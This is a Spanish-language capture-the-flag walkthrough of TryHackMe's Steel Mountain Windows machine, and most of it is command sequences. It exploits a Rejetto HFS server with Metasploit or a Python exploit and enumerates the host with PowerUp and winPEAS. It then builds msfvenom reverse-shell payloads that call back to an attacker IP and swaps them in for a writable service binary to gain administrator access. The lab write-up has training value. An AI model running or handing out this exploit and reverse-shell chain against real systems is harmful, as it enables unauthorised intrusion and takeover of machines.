Explotación de Steel Mountain: Acceso Inicial y Escalada de Privilegios en Windows

Este artículo describe un escenario de compromiso para una máquina Windows en el entorno de TryHackMe, centrándose en obtener acceso inicial mediante Metasploit y luego escalar privilegios usando PowerShell y técnicas de reemplazo de binraios.

Acceso Inicial a la Máquina Objetivo

Para iniciar, se realiza un escaneo de puertos para identificar servicios activos. La máquina no responde a ICMP, por lo que se omite el ping.

nmap -sV -sC -Pn 192.168.1.100

El escaneo revela un servidor web en el puerto 80 y otro en el 8080. Accediendo al puerto 8080, se encuentra una aplicación vulnerable que puede ser explotada mediante una CVE específica.

Se utiliza Metasploit para explotar la vulnerabilidad y obtener una shell Meterpreter.

msfconsole -q
search rejetto hfs
use exploit/windows/http/rejetto_hfs_exec
set RHOSTS 192.168.1.100
set RPORT 8080
set LHOST 192.168.1.50
run

Una vez en la shell Meterpreter, se accede al directorio del usuario y se lee el archivo de bandera.

shell
cd C:\Users\usuario_escritorio
type flag.txt

Enumeración y Escalada de Privilegios

Con el acceso inicial, se sube el script PowerUp para evaluar configuraciones débiles en el sistema. Primero, se descarga el script localmente y se transfiere a la máquina objetivo.

upload /ruta/local/PowerUp.ps1
load powershell
powershell_shell
Import-Module .\PowerUp.ps1
Invoke-AllChecks

El análisis indica un servicio con permisos de reinicio y una ruta de ejecutable modificable. Se genera un payload malicioso con msfvenom, reemplazando el binario legítimo.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -f exe -o servicio.exe

Se sube el payload y se reemplaza el archivo original del servicio.

upload servicio.exe
shell
sc stop NombreServicio
copy servicio.exe "C:\Ruta\Al\Servicio.exe"

Se configura un listener en la máquina atacante y se reinicia el servicio para obtener una shell con privilegios elevados.

nc -lvnp 4444
sc start NombreServicio

Alternativa sin Metasploit

Se puede lograr el acceso inicial mediante un script Python que explote la misma vulnerabilidad, combinado con netcat para la conexión inversa.

python2 exploit.py 192.168.1.100 8080

En paralelo, se ejecuta un servidor HTTP para servir herramientas y un listener de netcat.

python2 -m SimpleHTTPServer 80
nc -lvnp 1234

Una vez obtenida la shell, se transfiere winPEAS para enumerar servicios y configuraciones.

powershell -c wget "http://192.168.1.50/winPEAS.exe" -outfile "winPEAS.exe"
.\winPEAS.exe

Se identifica el mismo servicio vulnerable y se repite el proceso de reemplazo de binario, usando un puerto diferente para evitar conflictos.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.50 LPORT=5555 -e x86/shikata_ga_nai -f exe -o nuevo_servicio.exe
powershell -c wget "http://192.168.1.50/nuevo_servicio.exe" -outfile "nuevo_servicio.exe"

Se detiene el servicio, se reemplaza el ejecutable y se inicia el listener antes de reiniciar el servicio.

nc -lvnp 5555
sc stop NombreServicio
copy nuevo_servicio.exe "C:\Ruta\Al\Servicio.exe"
sc start NombreServicio

Esto resulta en una shell con privilegios de adminisrtador, permitiendo acceder a archivos protegidos.

Etiquetas: Metasploit Windows PowerShell privilege escalation TryHackMe

Publicado el 7-11 08:17